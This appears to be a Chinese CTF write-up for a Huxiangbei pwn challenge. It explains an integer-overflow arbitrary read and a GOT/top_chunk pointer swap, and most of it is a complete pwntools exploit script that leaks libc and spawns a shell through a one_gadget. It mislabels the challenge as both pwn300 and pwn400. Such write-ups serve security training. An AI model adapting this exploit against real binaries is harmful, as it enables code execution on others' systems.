湖湘杯的pwn比赛很有趣,我做了pwn300的题目,感觉不错,我把wp分享出来,pwns的下载链接是: 在附件中
把pwn400直接拖入ida中:
main函数:
Create Profile函数:
Print Profile函数:
Update Profile函数:
Exchange函数:
这个题目有点难度,我花了三天才搞定,题目的流程不难,首先创建Profile,当名字的长度小于8的时候会把数据写入bss段,数据的长度值nbytes会放入数据的后面,大于8的时候会malloc一个空间,把输入写入堆中,而指针会保存在bss段,而数据的长度值nbytes也会保存在指针的后面,更新Profile的时候也会做相同的操作,打印数据的时候会把名字输出,可以用这个功能泄露程序任意地址的任意数据,Exchange可以交换两个地址的数据,可以利用这个来getshell
先运行一下程序看一下这个程序干了啥:
再看看程序开启了哪些保护:
看到这个程序开了栈不可执行,于是肯定就会想到用rop来做
这个程序有两个地方可以利用:
(1)是创建的Profile,名字长度如果小于8就把数据写入bss段中,但是你可以输入负数,如果是负数的话,就可以造成整数溢出,你就可以在bss段中写入任意长度的数据,就可以覆盖后面的长度值nbytes为任意数值,这样你可以伪造一个任意长度的数据,在print函数中可以看到如果nbytes长度小于8就去读bss中的数据,如果nbytes大于8就会去读bss中的指针指向的数据,如果我们伪造nbytes的话就可以让print Profile函数去读任意地址的数据,通过got表可以计算出libc的基地址
(2)是Exchange函数可以交换任意两个指针,但是两个指针都是要有写权限的,程序中权限可以通过vmmap来查看
这个地方是难点,解决方法是:用top_chunk 指针和read@got指针进行交换,第二次堆分
配时候可以分配到我想要的位置,就可以把想要数据写入read@got中,当下回调用read的时候就可以跳到MAGIC中getshell了,关于top_chunk的介绍可以参考https://www.cnblogs.com/alisecurity/p/5486458.html
我的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import binascii
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC=0x5fbc6
localmain_arena=0x001B2780
def debug(addr = '0x08048BA6'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,sysmbol,offset):
if sysmbol=='min':
return eval(prog_addr)-offset
else:
return eval(prog_addr) + offset
def cr_up_profile(choose,name_len,name,age):
io.recvuntil('>')
io.send(choose)
io.recv()
io.sendline(name_len)
io.recvuntil('Input your name:\n')
io.sendline(name)
io.recvuntil('Input your age:\n')
io.sendline(age)
def print_profile(address):
io.recvuntil(">")
io.sendline('2')
data = io.recv().splitlines()[0][11:15][::-1]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
def change_age(address1,address2):
io.sendline('4')
io.recvuntil('Person 1:')
io.send(p32(address1))
io.recvuntil('Person 2:')
io.send(p32(address2))
def leak(address):
payload = p32(address) + 'a' * 4 + p32(10)
cr_up_profile('3','-10',payload,'10')
return print_profile(address)
def getshell(address1,address2,address3):
change_age(address1,address2)
cr_up_profile('3','20',address3,'20')
#libc addr
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
symbols = ['environ', '_environ', '__environ']
for symbol in symbols:
environ = libc.symbols[symbol]
print "environ:"+hex(environ)
head=libc.symbols['__curbrk']
print "head:"+hex(head)
system=libc.symbols['system']
print "system:"+hex(system)
__malloc_hook=libc.got['__malloc_hook']
print "__malloc_hook:"+hex(__malloc_hook)
#profile addr
elf = ELF('/home/h11p/hackme/huxiangbei/profile')
printf_addr=elf.got['printf']
puts_addr=elf.got['puts']
atoi_addr=elf.got['atoi']
malloc_addr=elf.got['malloc']
__isoc99_scanf_addr=elf.got['__isoc99_scanf']
read_addr=elf.got['read']
print "printf_addr:"+hex(printf_addr)
print "puts_addr:"+hex(puts_addr)
print "atoi_addr:"+hex(atoi_addr)
print "malloc_addr:"+hex(malloc_addr)
print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)
print "read_addr:"+hex(read_addr)
io = process('/home/h11p/hackme/huxiangbei/profile')
#debug()
#create profile
cr_up_profile('1','10','a'*8,'1'*12)
#leak libc base
libc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670
#get libc func addr
print "libc_base:"+hex(libc_base)
MAGIC_addr=libc_base+localMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
environ_addr=libc_base+environ
print "environ_addr:"+hex(environ_addr)
head_addr=libc_base+head
print "head_addr:"+hex(head_addr)
main_arena_addr=libc_base+localmain_arena
print "main_arena_addr:"+hex(main_arena_addr)
topchunk=main_arena_addr+0x30
print "topchunk:"+hex(topchunk)
system_addr=libc_base+system
print "system_addr:"+hex(system_addr)
__malloc_hook_addr=libc_base+__malloc_hook
print "__malloc_hook_addr:"+hex(__malloc_hook_addr)
'''
libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)
print "libc_start_main:"+hex(libc_start_main)
head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)
print "head_addr_input:"+hex(head_addr_input)
'''
#getshell
getshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))
io.interactive()
io.close()
效果是:
Ps:
寻找
MAGIC可以用one_gadget这个工具,工具地址在: https://github.com/david942j/one_gadget